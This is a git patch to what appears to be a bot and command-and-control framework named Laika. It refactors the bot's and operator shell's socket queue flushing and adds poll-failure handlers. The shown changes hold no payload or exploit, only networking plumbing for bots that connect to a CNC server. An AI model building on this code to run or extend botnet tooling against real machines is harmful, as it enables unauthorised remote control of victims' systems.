From 541e75f1839d02549ae33949aeafe1d9f08845b0 Mon Sep 17 00:00:00 2001 From: CPunch Date: Thu, 24 Mar 2022 18:03:08 -0500 Subject: [PATCH] Switched Shell & Bot to use laikaP_flushOutQueue() - they both now have handlers for onPollFail --- bot/src/bot.c | 29 +++++++++++++---------------- shell/src/sclient.c | 26 ++++++++++++-------------- shell/src/scmd.c | 3 ++- 3 files changed, 27 insertions(+), 31 deletions(-) diff --git a/bot/src/bot.c b/bot/src/bot.c index 997e499..6ec4135 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -33,6 +33,14 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { true), }; +/* socket event */ +void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) { + struct sLaika_peer *peer = (struct sLaika_peer*)sock; + struct sLaika_bot *bot = (struct sLaika_bot*)uData; + + laikaS_kill(&bot->peer->sock); +} + /* ==================================================[[ Bot ]]=================================================== */ struct sLaika_bot *laikaB_newBot(void) { @@ -47,8 +55,8 @@ struct sLaika_bot *laikaB_newBot(void) { bot->peer = laikaS_newPeer( laikaB_pktTbl, &bot->pList, - NULL, - NULL, + laikaB_onPollFail, + (void*)bot, (void*)bot ); @@ -128,31 +136,20 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { LAIKA_ERROR("failed to gen session key!\n"); } -void laikaB_flushQueue(struct sLaika_bot *bot) { - /* flush pList's outQueue */ - if (bot->pList.outCount > 0) { - if (!laikaS_handlePeerOut(&bot->peer->sock)) - laikaS_kill(&bot->peer->sock); - - laikaP_resetOutQueue(&bot->pList); - } -} - bool laikaB_poll(struct sLaika_bot *bot, int timeout) { struct sLaika_pollEvent *evnt; int numEvents; /* flush any events prior (eg. made by a task) */ - laikaB_flushQueue(bot); + laikaP_flushOutQueue(&bot->pList); evnt = laikaP_poll(&bot->pList, timeout, &numEvents); if (numEvents == 0) /* no events? timeout was reached */ return false; - if (!laikaP_handleEvent(evnt)) - laikaS_kill(&bot->peer->sock); + laikaP_handleEvent(evnt); /* flush any events after (eg. made by a packet handler) */ - laikaB_flushQueue(bot); + laikaP_flushOutQueue(&bot->pList); return true; } \ No newline at end of file diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 6a06117..2dcfc9e 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -135,6 +135,14 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { true), }; +/* socket event */ +void shellC_onPollFail(struct sLaika_socket *sock, void *uData) { + struct sLaika_peer *peer = (struct sLaika_peer*)sock; + struct sShell_client *client = (struct sShell_client*)uData; + + laikaS_kill(&client->peer->sock); +} + /* ===============================================[[ Client API ]]=============================================== */ void shellC_init(tShell_client *client) { @@ -142,8 +150,8 @@ void shellC_init(tShell_client *client) { client->peer = laikaS_newPeer( shellC_pktTbl, &client->pList, - NULL, - NULL, + shellC_onPollFail, + (void*)client, (void*)client ); @@ -222,22 +230,12 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { /* the handshake requests will be sent on the next call to shellC_poll */ } -void shellC_flushQueue(tShell_client *client) { - /* flush pList's outQueue */ - if (client->pList.outCount > 0) { - if (!laikaS_handlePeerOut(&client->peer->sock)) - laikaS_kill(&client->peer->sock); - - laikaP_resetOutQueue(&client->pList); - } -} - bool shellC_poll(tShell_client *client, int timeout) { struct sLaika_pollEvent *evnt; int numEvents; /* flush any events prior (eg. made by a command handler) */ - shellC_flushQueue(client); + laikaP_flushOutQueue(&client->pList); evnt = laikaP_poll(&client->pList, timeout, &numEvents); if (numEvents == 0) /* no events? timeout was reached */ @@ -247,7 +245,7 @@ bool shellC_poll(tShell_client *client, int timeout) { laikaS_kill(&client->peer->sock); /* flush any events after (eg. made by a packet handler) */ - shellC_flushQueue(client); + laikaP_flushOutQueue(&client->pList); return true; } diff --git a/shell/src/scmd.c b/shell/src/scmd.c index c9c7ea4..c62226b 100644 --- a/shell/src/scmd.c +++ b/shell/src/scmd.c @@ -170,10 +170,11 @@ void shellS_runCmd(tShell_client *client, char *cmd) { } /* run command */ - shellT_printf("\n"); + shellT_printf("\n\n"); if (setjmp(cmdE_err) == 0) { cmdDef->callback(client, args, argc); } + shellT_printf("\n"); /* free our argument buffer */ laikaM_free(argc);